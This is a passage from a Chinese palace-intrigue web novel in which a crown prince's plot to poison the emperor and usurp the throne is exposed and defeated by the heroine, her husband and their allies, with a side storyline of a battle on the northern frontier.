她便总要说服自己,若当初没有将他送出去,他未必能好端端活到成年,她做的没错,她做的没错,没错…… 她定了定神,威严地凝目,“哀家不发话,你休想登上那个位置!” 褚景泽一派泰然,语气仍然温润:“到时群臣众望所归,恐怕皇祖母也无能为力。” 什么意思?等到陛下殡天,太子登基便理所当然了吗? 太后目光一颤,急得拍桌而起,鬓边步摇剧烈晃动着,“你不能弑父!” “皇祖母这是想到哪里去了?”褚景泽勾勾唇角,“父皇不会死的。他只是永远也醒不过来罢了。朝纲总不能握在一位昏睡的君主手上,不是吗?” “皇祖母,如今宫中禁卫在孙儿手上,至于京畿大营,过两日就会易主。您什么也别管,安安稳稳地坐上太皇太后的位子,不好吗?” 他掀起眼皮,目光凉薄,“何必将一切瞧得那么清楚。” 太后呆呆地坐在原地,怔怔望着殿角那盏仙鹤衔芝宫灯,那是去岁她生辰时,皇帝命人送来的生辰礼。他连寿华宫的宫门都未曾踏入,可她还是将这份寿力摆在了最显眼之处。 其实她不是没有后悔过。 年轻时她心硬,常常想,她只是想活着,有什么错?后来年纪渐长,有时候又会想,稚儿无辜,她将孩子带来这个世道,又将他弃之不顾,如何能说自己没错? 这次,她也应该放弃他,继续糊涂余生吗? 宫灯摇曳,照亮昏昧的墙角,脚步声远去,又渐渐贴近。 “清平?清平?……小满?” 混沌中,封眠恍惚听见有人唤她的名字。她费力掀开沉重的眼皮,朦胧烛光映出狄兰清秀的眉眼,焦急的神色在与她对视的瞬间化为庆幸。 “轻衣在外头守着。”狄兰用绢帕拭去她额间冷汗,声音压得极低,语速飞快地说着,“轻衣把你的主意都与我说了,现下太后已经知道此事,若她不松口,应该能拖上一些时日。我父亲在军中有些人脉,我会寻个机会与他说清。有他在,京畿大营的守将也不是那般容易替换的。至少……至少能周旋十日!” “只是你现下还烧得厉害,到底不便挪动。太子……太子想来会好好为你诊治,待你病好了,我再来接你?” 封眠涣散的瞳孔微微聚焦,她点点头,自喉间挤出几个字:“十日,应当够了。” 她抿了抿干燥的唇瓣,虚弱道:“为我诊脉的太医姓刘,他嘴严,但性子软,或许,能问到舅舅昏迷的缘由。” “好,我知道了。”狄兰不住点头,接着从袖间摸出一个小小的瓷瓶塞进她掌心,“这是软筋香的解药,你自己小心。太子应当快回来了,我不好久留……” 她正要起身,手腕被封眠滚烫的手心握住,“流萤、雾柳……” “放心吧,轻衣潜过去瞧过了,她们俩只是被关了起来,性命无虞。”狄兰拍拍她的手背。 封眠这才彻底放下心来,松开手,注视着狄兰疾步走出昏昧的暗室。 脚步声渐弱至无声的刹那,封眠闭上眼。遥远的风声里,忽然混入玄铁箭簇破空的锐响。 承平十六年到承平十七年的冬日,对于北疆的百姓来说并不太平。 初冬时,一切本都在向好而生。第一批新制的冬衣冬被发了下来,软和轻盈又保暖,整个云中郡的百姓都涌来围观。人人摸一点边角边欣喜地觉出白叠子的不同来,想着要听郡主的话,多种一些,到了明年冬日,便能人手一套冬衣冬被了。 更让人欣喜的是,这个冬日丰收了新的粮食。没报什么希望播种下的土豆和红薯,收获后却足以顶一个家月余的口粮。尤其是烤熟的红薯,金黄的瓤肉闻着便是扑鼻的甜香。如今的蜜糖多金贵啊?可这红薯却天生便是甜津津的。 于是过冬的粮柴都备齐了,孩子们掰着手指头数着过节的日子,一日日过得十分有盼头。而伴着一场大雪同来的,却是北夷 的铁骑。 拥雪关的烽火照彻天穹,狼藉满地。 与拥雪关隔着两三个城镇的白水县被弯刀箭戈破开了城门。 “进地窖!都进地窖!”黑水沟的彭村长在覆着雪结着冰的土路上跑得跌跌撞撞,嘶哑着嗓子大吼,催促百姓们迅速藏身。 大雪纷纷扬扬落下,被寒风卷着钻进他的嗓子里,从内到外都冰透了。他脚步不停,一路喊一路跑到村头的一户人家之前。 玄铁箭簇破空的锐响声撕裂风雪,嗡鸣着钻入他的耳膜,他脚步急停,玄铁剑钉在了他脚前的冻土之上,箭尾的白翎还在颤动。 彭村长心头一颤,悚然侧首。 五岁的狗娃被石头绊了一跤,摔在地上哇哇地哭。另一道箭矢正冲着他袭去。 脑海中尚是一片空白,身体已率先做出了反应。彭村长一个飞身扑向那孩童,呼吸都在这瞬息停滞。 “砰”一声,身体重重砸在土路上的痛感自四肢迅速袭来,箭簇刺破□□的痛感却迟迟未传来。 马蹄声如雷响起。 彭村长在飞扬的雪沫中迅速抬起头。 天空压着一片沉甸甸的铅灰色,落下的雪大如鹅毛,扑在人的脸上和眼睫上,视野一片模糊。然而一骑红裳如烈焰般冲破风雪。 卷发女子手中长弓书连珠齐发,步步逼退阿尔纳部骑兵。身后数骑紧随,皆身着异族铠甲,护着她迎向阿尔纳部,阻住他们进宫的步伐。 彭村长记起了她,是苍狼部的圣女。她不是北夷人吗? 胳膊上一重,落在最后的一人费力地将他和狗娃从雪地里拎起来。 “村长你发什么愣呢?”褚景淇抓着一老一小的胳膊把两人往村里拽,“快快,先躲起来,别打扰他们打架!” “小、小侯爷?”彭村长努力眨了眨昏花的老眼,仍是不敢置信地回头往战局里瞧,惊疑不定,“怎么回事啊?北夷的人怎么自己打起来了??我老眼昏花了??” “北夷有足足三十六部,又不是人人都跟着阿尔纳部跑的!”褚景淇带着两人躲到土墙后头,很是细心地帮狗娃拍掉衣裳上的学渣,又将自己的大氅解下来裹在小孩身上,“弥荼和苍狼部是来救咱们的,让乡亲们都别怕,别怕啊!” 血珠飞溅在漫天雪中,如散落的红梅。 弯刀挡住了长鞭,脸上横贯一道疤痕的阿尔纳部大将恶声恶气地质问弥荼:“你们要背叛北夷,投靠大雍吗?!” 弥荼明艳的眉眼冷凝,“我们只想过和平的日子。滚回去!” 长鞭用力抽卷,硬生生将弯刀绞飞,如游蛇一般缠向大将的脖颈。 失了武器的大将惊得跌下马去,“快,快撤退!” 残兵败将转瞬化为烟尘消失在原处。弥荼拦下欲追的赫尔林,“回去布防。” 一行人围着村落,开始削木桩做拒马。 褚景淇:“村长,村中还有多少木头,都拿出来,咱们得在村子里……” “不能留他们在这儿!若是他们假意混进来,要将咱们都杀了,不是引狼入室吗!” 有人不满道,十分仇视北夷。一些人跟着附和点头。 褚景淇赶紧望了一眼弥荼的方向,见他们没什么反应,忙安抚道:“方才可是苍狼部的骑兵救下了我们,大家……” “谁知道这些人是真心还是假意?!” 褚景淇急得挠头,“你们信不过我和圣女,还信不过清平郡主吗?清平郡主可是主动与他们做互市交易的,若他们当真是与阿尔纳部为伍的恶人,郡主会愿意与他们交易吗?” 众人犹疑对望,少年阿央站出来:“我信!我去搬木头!” 几名少年越众而出,跟着他一块跑回村子里。其余人踌躇片刻,终究是没有再出言,惶惶散去。 “看来你的名号,还是不如清平郡主的好用。”弥荼慢吞吞地晃过来。 褚景淇吓了一跳:“你方才都听见了?” “我们又不是聋子……”弥荼望望村民们散去的身影,“能理解,当初郡主派人去传个信,差点将我们部的孩子吓得尿裤子。他们愿意说,就说去吧。” 褚景淇吭哧两声,追上弥荼给她递工具,嘀咕着:“他们会明白的,北夷不全是坏人!” 片刻后,彭村长和他家里人小心翼翼捧着几个陶盆回来,“圣女,各位、各位大人,歇一歇,吃些东西吧。” 盖在陶盆上的布掀开,热气弥漫。 “这是新收的红薯,烤制后十分香甜,你们慢慢吃。” 弥荼尝了一口,眼睛微微一亮,看向身侧的褚景淇,“这些能放入互市交易的范围里吗?” “我听说今年种得不多,收得少,怕是不行。”褚景淇先是为难了一会儿,接着又兴冲冲脱口而出:“不过你若是喜欢,我去说服小表妹,卖些给我做嫁妆!” “……”弥荼挑眉,斜乜他一眼,“……给你做嫁妆?” 褚景淇脸上一热,在寒风中并不显眼,“你若不愿意,那也行……再过一年,种得多了,肯定能进互市的。” 弥荼没说话,吃完一颗烤红薯,慢条斯理地擦净了手,缓缓起身,看一眼褚景淇丧气垂首的模样,抬步的同时丢下一句:“我何时说不愿意了?” 褚景淇被这句砸懵了,好半晌才跳起来追出去,“什么意思?你同意啦?弥荼弥荼弥荼……” 聒噪的声音被风雪吹散。 拥雪关内,阿尔纳部的军帐中,大将拖着残部折返。 大王恨铁不成钢地瞪他一眼,转而去问斥候:“百里浔舟现在何处?” “还被牵制在落鹰岭!大王放心,定不会让他脱困!” 大王眸色深沉:“好,只要把他们父子俩和定北军拖死在北疆,待新帝登基,一切就都还是我们的!” 营帐角落里,一名身着重甲的侍卫沉默地端起熄灭的炭盆退出营帐。 狂风卷过战盔,侍卫微微抬起头,露出封辞偃冷峻的眉眼。 第114章 承平十六年的最后一夜,宫门前的御街两侧灯楼幢幢,人头攒动,呵出的白气在空中交织成雾。一张张翘首企盼的面庞皆目光灼灼地盯向宫门方向。 “咚、咚!” 伴着一道沉闷厚重的鼓点声,朱漆金钉的宫门缓缓开启,火光泼洒而出。张扬五爪的十二神兽簇拥着为首的方相氏欢舞而出。应和着浑厚的鼓乐声,赤帻青衣的侲子们跳起大开大合的傩舞,腾跃、旋转,手中的火把在空中划出炽烈的光弧。 方相氏戴着威严的黄金面具,四目在夜色中灼灼如星火。他一身玄衣朱裳,执戈扬盾,舞姿雄浑刚劲,在火光的映照下又带着诡艳的美感,勾魂摄魄。 他柔韧的腰身翻转着,长靴踩着鼓点重重踏地,在流曳的火的中间穿梭腾挪,优美有力的身姿引来围观百姓阵阵喝彩。 忽然十二神兽和侲子倏然合拢,又骤然散开。人群发出低呼,方相氏已沿着来时的方向,狂舞着,一路行至了城楼之上。 巨大的月亮高悬于他身后的夜幕之中,他的身影嵌在月影之上,浮光流曳,如魅如神。 他立于天地之间,挥戈扬盾,清越的祝祷声被夜色托着,送入城楼下每一位百姓的耳中。 “皇天在上,厚土在下!听吾祈愿,禳灾纳吉!” “一愿我朝,山河永固,国泰民安!” “二愿天下,旧岁晦除,新元肇启!” “三愿父皇,圣体安康,福寿永固,如日之升,如月之恒!” 在百姓们的惊呼声中,他仰首掀开方相氏的面具,露出用朱砂画着诡艳妆容的脸,如金玉般惑人。 他单膝而跪,仰首望天,声如玉磬:“儿臣愿以己身,为父皇求寿!” 鼓声激越,百姓们遥遥望着城墙上玉立的身影,心神激荡。 两侧走上来数名内侍,手托金盘,运足了气,朗声向下宣告:“太子殿下代陛下赐福,与民同安——” 话音甫落,两侧的内侍们纷纷抓起一把把金制通宝,奋力向城楼下撒去。 无数耀眼的流光叮叮当当如骤雨洒落。 百姓们顿时沸腾了,欢呼着去承接这份“天恩”。 禁卫们分列隔开拥挤的人群,维持秩序,以免造成挤压。 与此同时,两边侧门同时打开,更多的宫人抬上一瓮瓮美酒、一盒盒精巧的糕点。 百姓们又欢涌而去,自发地排成长队,将自带的碗盏取出,小心翼翼捧出,看着醇香的美酒自长柄木勺中滑入碗盏,再接过精巧包装的糕点,心满意足地带着酒食离去。 赏傩舞,撒金钱,赐酒食,是每一年末尾都要行的盛典,是陛下与百姓同乐同庆的日子,祈福禳灾,消难纳吉。 如今陛下卧病在床,由太子监国理事,百姓们本还有些担忧今夜的盛典是否能够顺利,如 今见了太子殿下亲自献舞,都颇为动容。 “太子殿下当真是孝顺温厚,若他改日登基,定是个仁爱的君主!” “是啊是啊!” 喧嚣中,人群中忽然有一名须发皆白的老者在宫门正中扑通跪地,他穿着破旧的儒衫,看起来像是位老秀才,“国不可一日无君!陛下沉疴难起,草民斗胆,叩请太子殿下早登大宝,以安天下!” 有内侍上前呵斥:“大胆!竟敢行此悖逆之言!” 老秀才眼含热泪,据理力争,“便是殿下要治草民死罪,草民也要说!听闻陛下病因难断,不知何日才能苏醒!太子殿下勤政爱民,又是陛下亲立,为何不能早日登基?!” 又一名中年儒生挤出人群,跪倒在地,慷慨激昂地发言,“是啊,如今北疆再生乱象,烽烟再起,江山需有明主坐镇,方才能安民心!还请太子殿下即位!” 周遭蓦地又呼啦啦跪了一小片,呼声如浪,卷过人群。 围拢的百信们瞧着,觉着也是这么个道理,念着太子方才为民求安为父祈寿的真心,想着他监国以来平安和乐的都城,不觉相继俯身。 宫门外转瞬便跪倒了一片。 城楼之上,褚景泽望着下方黑压压一片的身影,起身作揖:“孤蒙父皇信重,监国理政。天子在位而储君易鼎,非是忠孝,实乱国本。孤身为人子,此刻只愿侍奉汤药,为父皇祈福延寿。此事,休要再提。” 隔日早朝,群臣在朝会上提起百姓请愿一事,当场跪请:“陛下龙体欠安,储君当早正大位,以安天下民心!” 褚景泽以相同的说辞推拒。 再隔一日,天色未名,数位白发苍苍的老臣已跪于宫门之外。为首便是罗公,他双手高擎奏疏,朗声道:“臣等恳请殿下为江山计,即刻登基!” 褚景泽发了一通火,拂袖而去。 又过一日,几位宗室亲王与重臣绕过太子,直入寿华宫求见太后,请她说服太子登基,“陛下的身体恐难回转,国政耽搁不起啊!北疆不宁,朝野惶惶,唯愿太后懿旨,晓以利害,劝服太子……” 太后心头一哽,正如褚景泽当初所言,已到群臣众望所归之际,她…… 她猛地拍案,凤眸含威,“皇帝还没死呢!这宫里,还轮不到你们来指手画脚!都给哀家滚出去!” 奏请太子即位的奏折如雪片飘来,足过了两日之久,群臣陪侍褚景泽一同看望嘉裕帝。太医院院正在为嘉裕帝诊治过后,跪地请罪,“殿下,臣等无能……” 众臣登时跟着跪下,“臣等恳请殿下为江山计,即刻登基!” 褚景淇闭了闭眼,再嘉裕帝榻前缓缓跪下,沉默良久,方才道:“父皇,儿臣……僭越了。” 登基大典这日,天光澄澈,是冬日里难得一见的晴朗天气。 狄兰垂眸,悉心为褚景泽整理着九龙十二章的衮服,指尖抚过繁复的纹路。她唇畔刚刚扬起一抹笑意,却骤然凝住。 她指尖一颤,猛地捂住小腹,方才还红润的面色瞬间褪得苍白如纸。 “怎么了?”褚景泽察觉异样,立刻扶住她微微颤抖的手臂。 “臣妾……忽感腹痛如绞……”狄兰额角沁出细汗,声音虚弱如游丝,“恐怕不能陪着殿下一同去大典了……” 褚景泽细察他脸色,眼底闪过一丝疑虑,但见她痛楚又真切无比,不似作假,便温声道:“传太医来为你看看。你先好生歇着,孤先过去。你若觉得好些了,再来不迟。” “多谢殿下体恤。”狄兰柔柔垂首,纤长的睫毛掩盖了眸中神色,难得露出脆弱的神态。 褚景泽将她交给榴月,转身迈步离去。衮服逶迤,挺拔的身影在晨光中渐行渐远。 狄兰偷眼觑着他的背影,直至彻底消失在宫门外,面上痛楚的神色瞬间收敛无踪。她直起腰身,低低唤了一声:“轻衣。” 一道身影轻盈地翻窗而入。 “走,先去救郡主。” 登基大典的钟鼓庄严地响彻云霄,高台之上,褚景泽正欲从礼官手中接过传国玉玺。 “慢着!” 一声冷冽的断喝自丹陛之下传来。 凤冠朝服的太后在一众铁甲侍卫的簇拥下凛然而入,仪仗煊赫。她依旧妆容浓颜,威严地望向高台。 “哀家未曾同意太子登基。” 褚景泽缓缓转身,面上无半分惊惶,“皇祖母,好大的阵仗。” 他目光冷冷扫过台下已将禁军隐隐围住的黑甲士兵,“孙儿不知,京畿大营何时竟听太后调令了?” 自太后的身后,踱出一个苍白瘦削的人影。封眠久未见日光,又大病初愈,肤色白得透明,仿佛风一吹便倒了。 她冷然举起手中半枚错金铜虎符,声音清冷如玉,带着不容置疑的威势,“太子谋害陛下,勾结北夷,欲行弑父叛国、篡逆夺位之举。” 她的声音不大,却清晰地传入在场每一个人耳中,字字如惊雷。 “禁卫军众将士受其蒙蔽,若此刻弃械,概不追究。若执迷不悟……”她话语微顿,其意自明。 哗然声四起,群臣悚然,议论纷纷。 罗公须发皆张,怒喝道:“郡主殿下可要慎言!如此动摇国本之指控,若无真凭实据,便是构陷储君,其心可诛!” 封眠并不理会罗公,只目中含痛地看向褚景泽,“阿兄,你以太医院院正家人性命相挟,迫他对舅舅下毒,令舅舅缠绵病榻、昏睡不醒。眼下他正调配解药,待舅舅醒来,一切就真的无可转圜了,你现在回头……” “荒谬。”褚景泽向前一步,衮服上的龙纹在日光下熠熠生辉,“谁与你编造出这等荒谬之言?” “阿兄!京畿大营已将宫城合围,你今日无论如何不能登基,我有院正口供……” “小满,你莫要被人蛊惑。”褚景泽依然泰然自若,目光落在她手上的虎符,感叹一句:“父皇果然还是最信任你。只是可惜,你也只有半枚虎符,最多调动京畿半数兵马。你以为孤没有后手吗?” 他话音甫落,宫墙四周骤然现出数千甲卫,刀剑出鞘之声森然响起,与京畿大营形成对峙之势。 两侧高墙之上,无数弓箭手悄然现身,利镞寒光点点,对准了下方的广场。 封眠心头一震,是了,罗家费尽心思在北疆私掘矿山,私铸兵器,自然是要用来养私兵的。 四下空气凝重,剑拔弩张。 褚景泽周身杀伐之气却倏然一敛,目光温和地落在封眠身上,向她伸出手,“小满,听话。” 他声音变得和悦,仿佛眼前并非千军对峙,只是在一个平常的日子里,亲昵地呼唤着贪玩的妹妹。 “到我身边来。” 第115章 落鹰岭。 如席雪片洋洋洒洒飘落,天地皆陷于一片寂静纯白。 马蹄没入深雪,发出沉闷的声响。 阿尔纳部的大王勒马停在一片峡谷前,抬头望向陡峭的岭脊。 一道挺拔的身影背对峡谷,静立风雪之中,肩甲已覆上薄雪。 阿尔纳部的大王纵声大笑:“百里浔舟,你的死期到了。此处,便是你的葬身之地!” 回应他的却是一道清越从容的声音:“恐怕大王的美梦,才是做到头了。” 身披银甲的少年将军缓缓回过身,露出一张温润清俊的容颜。 大王神色一惊,不敢置信:“你是何人?百里浔舟呢?” 顾春温羽睫轻抬,唇角扬起一抹似笑非笑的弧度。 盛京。 朗空下,一队精锐甲士携着风雪般凛冽的气息席卷过长街,惊起满街注目。 百里浔舟手中长枪如龙,视两侧守卫如无物,轰然破开宫门。 覆眼绸带随风扬起,百里浔舟的视野模糊的只能映出一个个人影轮廓。他背手执枪,枪尖遥指高台之上的身影,冷声道:“太子谋逆,定北王世子奉密令勤王!” 产案件,两侧高墙上半数箭簇齐光,寒光尽聚于百里浔舟之身。 广场上朝 臣一片哗然,在众多对峙甲卫的夹缝之中不敢动弹,窃语四起:“现下这是什么情况?太后和清平郡主,还有定北王世子都说是太子谋逆,难道真的……” “清平郡主可是世子妃,她与世子殿下的话,我看还是考量一下……” 各种喧嚣声如潮水一般从封眠耳畔滑过,她遥遥望向百里浔舟,眼眶倏地一红。 临别前阿雪分明说他的眼睛再过一两周便可复明,可这么久过去了,他还没有摘下覆眼的绸带…… 褚景泽注意到封眠的神色,眸中霎时阴云密布。 罗公面色冷肃地越众而出,振袖呵斥道:“定北王世子殿下无诏擅离北疆,私率将士入京,视同谋逆!” 百里浔舟不知道说话的是谁,循着声音调转枪锋,枪尖斜指,毫不客气地冷诮道:“你耳朵聋了不成?本世子方才说了,奉密令入京勤王,何来‘无诏’二字?” 他与顾春温商议后,由顾春温假扮作他坐镇定北军,自己则率疾羽营全部兵力秘密行军,一路谨慎疾行,风餐露宿,隐匿行迹,便是防着盛京中人得知他离了北疆,提前发作,倒打一耙,如今岂能由着这人泼脏水? “孤倒不知,你奉谁的令?”褚景泽负手,冷目拧眉。 “奉哀家的令。”太后在侍女搀扶下缓缓上前一步,她似是有些紧张,牢牢地握着侍女的手腕,软声苦苦劝道,“泽儿,莫要执迷不悟了。你想要什么,与皇祖母和你父皇说,咱们关起门来好好商量,何必要闹得这么大呢?” 褚景泽抿了抿唇,似是不解地挑眉,“皇祖母在说什么呢?因父皇病重不醒,孤才在群臣百姓的期盼下,临危即位。皇祖母莫不是信了外人的话,也认为孤是在谋权篡位?” 朝臣中有应声者:“之前罗公说得对,储君名分早定,郡主殿下和世子殿下口口声声斥太子谋逆,这可是动摇国本之指控,若无真凭实据,便是构陷储君啊!” 一道急促的马蹄声响起,伴着一道飞扬的声音:“太子殿下想要证据,怎么没有?” 匆匆赶来的褚景泽翻身下马,大步跨至朝臣前方,眸光锐利,朗声一笑,“岂止是有啊!” 他将一叠密信重重掷在几名朝臣的怀中,“可多着呢!” “这么多年来,罗公代太子殿下与阿尔纳部勾结的密信,北疆私矿的账册,可都在这儿了!”封辞偃讽笑着看向罗公,“罗公不会以为用狄文记账就万无一失了吧?” 况且阿尔纳部是蛮夷,但并不是傻子,怎么会不保存下大雍内与其勾结之人的密信,以作后日威胁? 他能混进阿尔纳部一次,就能混进去第二次,找到这些东西还是算得上轻易的。 朝臣们传阅着信件和翻译好的账册,对视之间惊疑不定,“这账本上头怎么还有梁御史的名字?他不是素来与罗家不睦吗?” “刘阁老、齐参军、方郎中……这这这,这简直骇人听闻!” 被念出来的几人面上闪过一瞬的仓惶,有面皮薄定力不够的慌忙摆手否认,转瞬就被群臣孤立了出去。 罗公只在最初看见信件和账册时有过震惊的神色,很快便恢复了沉稳,犹疑地打量着封辞偃,“你是什么人?竟敢在此大放厥词!” “在下姓封。”封辞偃满意地看着罗公面色骤变,“看来罗大人还没有年老糊涂到忘记我那位被你们与阿尔纳部联手害死的兄长。” “难道你是小封将军!”一名年老的朝臣颤颤巍巍攥着一封信颤巍巍上前半步,“这信上写的可是真的?是罗家与阿尔纳部勾结,泄露了军情,才致封将军惨死?” “林老,什么人来此狂吠几句,你便都要信吗?”罗公投以冰冷一瞥。 “罗公这般镇定,当真令人佩服。你要觉得物证不够,还有人证。”封辞偃击掌三声,几名矿工模样的男子颤巍巍走进来。 连日奔波,几人皆是满面菜色。 之前矿山坍塌时,他们救下了许多矿工,这几人恰好曾撞见罗驰尔现身矿山,便主动站出来,愿意做人证。 铁证如山,便是罗公再如何巧言辩驳,朝臣心中的天平也已倾斜,有那刚正的御史跳出来大骂罗公,被罗公捂着嘴拽下去,眼神示意四面闪烁的寒光。乾坤未定,此时冲出去岂不是做了靶子! “阿兄,此时回头,为时不晚。”封眠目光切切,仍想最后尝试一次劝说他回头。 褚景泽却忽然笑了,眼底晦暗不明:“开弓没有回头箭。” 他轻轻抬手:“不尝试一下,如何知道不行呢?” 话音未落,他抬起的手掌轻轻勾落,箭雨骤降! 百官惊惶四散,封眠急忙护住太后后退,“快护着太后躲起来!” 待太后安全躲入殿内,封眠立即趁着乱势从廊下往明心殿的方向跑。她特意将轻衣留在舅舅身边,有他和太子妃在,舅舅必然无恙。待舅舅醒来,这一切…… 一双手从暗处猛地拽住手腕。 封眠踉跄着被拽入一处空旷偏殿,抬首时正对上褚景泽猩红的双眼。 “阿兄……” “你想要的我都给你了,为何你还是要逃?” 箭矢钉入梁柱的闷响不绝于耳,他在混乱中将她抵在宫柱上,额头相贴,呼吸交错,“若没有你,这皇位有何用……” 黑暗如潮水般淹没了所有声息。 太子失了踪迹,罗公转瞬就被百里浔舟擒住,一场宫变在疾羽营的介入下逐渐平息。 劫后的广场上,疾羽营士卒正忙着掌控各处要道,打扫战场,百里浔舟一把抓住正指挥布防的山衣,“郡主呢?” 山衣茫然四顾:“似是护着太后往殿中去了呀……” “郡主往明心殿去了!”路过的一名士卒急声补充。 百里浔舟当即抓了名宫人带自己去明心殿。 “郡主殿下未曾来过。”轻衣利落禀报,“陛下月末再有一个时辰便能苏醒……” 不待他说完,百里浔舟转身便走,脚步急切地迈出明心殿。 他的目力只恢复了一点点,隔着绸带四处皆是模糊的光影轮廓,他驻足吩咐道:“牵一条宫中细犬来。” 片刻后,被太子妃救出来的雾柳带着宫人领来了一条细犬,流萤一边哭一遍捧来封眠的衣物,哽咽着叮嘱细犬:“你好好闻一闻,快些找到我们郡主啊!” 细犬呜呜两声,冲进宫道。 百里浔舟牵着绳紧随其后,靠着微弱模糊的目力,在陌生的殿宇间跌撞前行。 直到一处偏殿,细犬的爪子焦急地刨着一处暗门。 暗门内事狭窄昏昧的暗道,反而让他一个眼盲了月余的人行动自如。他扶着墙走了几步,耳廓微动,捕捉到一道熟悉的吃痛的轻嘶声。 “眠眠?”他循着声音行去,小心翼翼轻唤一声。 呼吸声一窒,接着是封眠带着哭腔的一声:“阿琢?阿琢,你在哪儿……” 几道闷声响起,似乎是她想要站起身,又无力跌回原地的声音。 “你别动,我来找你!”百里浔舟焦急道,他鼻尖嗅到了一丝淡淡的血腥味,在满是潮湿尘埃味道的暗道里格外明显。他心下愈发惶然,狂奔了两步,只觉空气中的血腥气愈发浓重。 他膝下一软,眸中模糊印出封眠身影的瞬间,他向前扑去,膝行两步猛地将封眠抱入怀中,“别怕,别怕,你哪里受伤了吗?我闻到了血腥味……” 他用染血的指尖抚过她散乱的鬓发,颤抖着询问。 封眠摇摇头,“是、是阿兄……太子的血。我、我身上带着父亲送我的匕首……我……” 温热的泪珠滚落在百里浔舟的颈侧。 “他还活着吗?” 百里浔舟这才注意到在封眠身后还有一个人影躺在地上,他小心地将封眠揽抱到自己身后,摸索着探了探。 微弱,但仍在跳动。 真糟糕,还活着。 “放心,他没死。” 百里浔舟不再管褚景泽,凑到 封眠身边问长问短:“你还站得起来吗?是脚扭到了吗?” 封眠点点头,右脚自裙摆下探出来。 百里浔舟伸手想替她正骨,指尖触到袜边时顿了顿,不动声色地瞥了一眼倒地的褚景泽,旋即收回手,“我抱你出去,给太医看看。” 封眠被他双臂环抱腾空而起,下意识环住他的脖颈,“那他怎么办?” “待会儿喊几个人把他抬出去。”百里浔舟加快了步子,还好他反应快,不然此刻就要他亲自将人抱出去了。 他可干不了这种活儿。【`xs.c`o`m 网】 【完结】 第116章 天已昏了下去,明心殿前灯火煌然,在阶前映下层叠的身影。 一群人焦急地在灯下翘首以盼,远远望见百里浔舟抱着封眠走来,明灭灯影映亮百里浔舟染血的甲胄。 眼尖的流萤颤声:“郡主身上、身上怎么都是血!” 一瞬间,各种糟糕的猜想涌上心头,所有人都惊慌失措地围拢过去。 “郡主你哪里受伤了?!”雾柳急得都想上手查看。 “还清醒着吗?”狄兰嗓音发颤,有些语无伦次。 柳寄雪忙拨开人群挤进来,目光在封眠的面上抓了一圈,便知她衣裳上的血迹定然不是自己的,先松了口气,再将她打量一番,瞬间了然:“……脚崴了?” 见封眠赧然点头,众人悬着的心这才落地。 “进去说话。”百里浔舟抱着封眠大步踏入明心殿,将她安置在矮榻之上。然后便握着她的手让到一旁,让柳寄雪上前查看。 “阿雪,你怎么也来了?”封眠轻声问。 柳寄雪俯身探看肿起的足踝,利落地替她正骨,“你与世子怎么也算是我的病人,交给别人我不放心。” 检查过脚踝无碍后,柳寄雪又拉过她另一只手把脉,眉眼稍松,终于有心情开了个小小的玩笑,“况且世子的眼睛迟迟不好,我身为医者,压力很大啊。” 她抬眼扫过百里浔舟紧握住封眠手腕的那只手,“不过依我看,有你在陪他身边,可胜过千金良方。” 流萤和雾柳偷笑起来,百里浔舟仍沉浸在担忧紧张之中,没反应过来自己被调侃了,只急切地追问:“眠眠怎么样?可有内伤?” 听见柳寄雪说“无事”,他紧绷的身躯才终于微微松动。 “陛下醒了!” 内侍惊喜的呼声传来,封眠顾不得脚伤猛然起身。百里浔舟立即揽住她肩头,半扶半护地将人带进寝殿。 榻上,嘉裕帝缓缓睁眼,久睡初醒的浑浊目光在烛火里渐渐清明。 “舅舅!”封眠扑到床前,还未开口,泪珠便落了下来。她握住嘉裕帝的手,又哭又笑,“您终于醒了,吓死我了……” 待宫人伺候完汤药,嘉裕帝挥退众人,封眠细细将他昏迷这些时日发生的事说了。 嘉裕帝听着,枯瘦的手轻抚她的发顶,“是朕做得不够好……” 他幽幽叹一口气,暴瘦的面颊之上露出些许疲惫懊悔,“其实他的心思,朕多多少少有些察觉。只是……朕年轻时到底对他与他母亲多有亏欠,况且这么多年,他这个太子做得从未失职。所以朕便总想着拖上一拖,想着只要压住了他这番心思,他早晚都会认命的……” 但一颗尝试着做慈父的心与帝王的猜忌不可避免地碰撞。他放心不下太子,他总是想着当年自己也曾险些行差踏错之事,在面对与他极为相似的太子时,便难免地升起揣度与防备。 所以他才决定将封眠远嫁北疆。与朝臣对定北王父子俩的种种猜测怀疑不同,他始终相信时代镇守北疆的定北王的忠心。 身为长辈,在疼爱了许多年的外甥女面前坦诚自己悖逆人伦的心思,还是十分为难嘉裕帝,他犹豫良久,终究难于启齿,只含糊道歉:“是舅舅……害你受苦了。” “当年你父亲的冤案,是朕的过错……”嘉裕帝望向帐顶的蟠龙纹,想着若是安乐还在,定然会责怪他,怪他的偏执让小满不能陪在她的生父身边长大,怪他的嫉恨令封辞胥含冤枉死,怪他这么多年都没能将通敌之人绳之以法…… “朕会下罪己诏,告令天下,还封将军一个真相。” 他闭上眼,一行清泪自眼角滑落。只盼日后作古, “好,我会转告小叔叔的。”封眠为他掖了掖被角,“舅舅刚醒,先好好静养吧。” 她起身悄然退离寝殿。 明心殿外风灯摇曳,太后正扶着廊柱向殿内张望。见封眠出来,她慌忙转身欲走。 “等等!”封眠提起裙摆追上两步,“太后不进去看看吗?” 头戴凤冠的太后背影微僵,夜色如沉默的池水淹没了她的半身,华贵的珠翠半明半暗。 “罢了……”她始终没有回头,“这是哀家欠皇帝的。我们母子……终究缘浅。哀家这次不过做了件该做的事,若如此便奢求原谅,脸皮岂非太厚了些。” “你……你好好陪陪他吧。” 一声叹息散在风中,她挺直着脊背,由身侧的侍女搀着步入深宫寂寥的夜。满头珠翠轻晃,直至彻底没入黑暗。 “你也该去梳洗歇息了。”百里浔舟的声音自侧方传来,吓了封眠一跳。 她扭过头去,见百里浔舟一行人从廊角转过来。 “你们怎么跑那边去了?” “太后忽然来明心殿门口踌躇张望,我们若留在原地等着,多尴尬啊。”狄兰解释道,好歹做了几年的太子妃,太后与皇帝之前如冬日冰湖一般的关系,她自然十分清楚。是以远远看见太后过来,她便匆匆拉着众人躲了起来。 今日发生了太多事,众人都颇为疲惫,闲叙两句便准备各自去休息。狄兰犹豫半晌,还是问了句:“太子殿下如何了?” 她与太子之间虽无情爱,但到底还有几分夫妻情分,总要关心两句。 封眠看向百里浔舟,百里浔舟脸色有些臭,“小叔叔和山衣将他带下去看管起来了,等陛下醒后发落。太医说他没什么大事,将养几日便好。” 封眠轻轻握住狄兰的手,“你放心,舅舅并非不通情理之人,必不会祸及你与狄大人。” 